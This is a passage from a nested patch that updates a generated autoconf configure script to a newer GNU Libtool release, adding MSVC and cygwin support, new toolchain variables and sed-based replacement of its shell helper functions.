++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9172,7 +9763,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
+@@ -9191,9 +9782,9 @@ rm -f core conftest.err conftest.$ac_objext \
+ no_undefined_flag=' -z defs'
+ if test "$GCC" = yes; then
+ wlarc='${wl}'
+- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
+- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
++ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
+ else
+ case `$CC -V 2>&1` in
+ *"Compilers 5.0"*)
+@@ -9769,8 +10360,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -9803,13 +10395,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -10705,7 +11355,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10708 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10749,10 +11399,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -10811,7 +11461,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-#line 10814 "configure"
++#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -10855,10 +11505,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -12328,13 +12978,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+ lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
+ lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
+ lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
++lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
+ reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
+ reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
+ OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
+ deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
+ file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
++file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
++want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
++DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
++sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
+ AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
+ AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
++archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
+ STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
+ RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
+ old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
+@@ -12349,14 +13006,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+ lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -12389,12 +13049,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -12449,8 +13109,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -12460,12 +13125,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -12481,7 +13148,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -12517,6 +13183,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -13115,7 +13782,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -13218,19 +13886,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -13260,6 +13951,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -13269,6 +13966,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -13383,12 +14083,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -13475,9 +14175,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -13493,6 +14190,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -13525,210 +14225,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
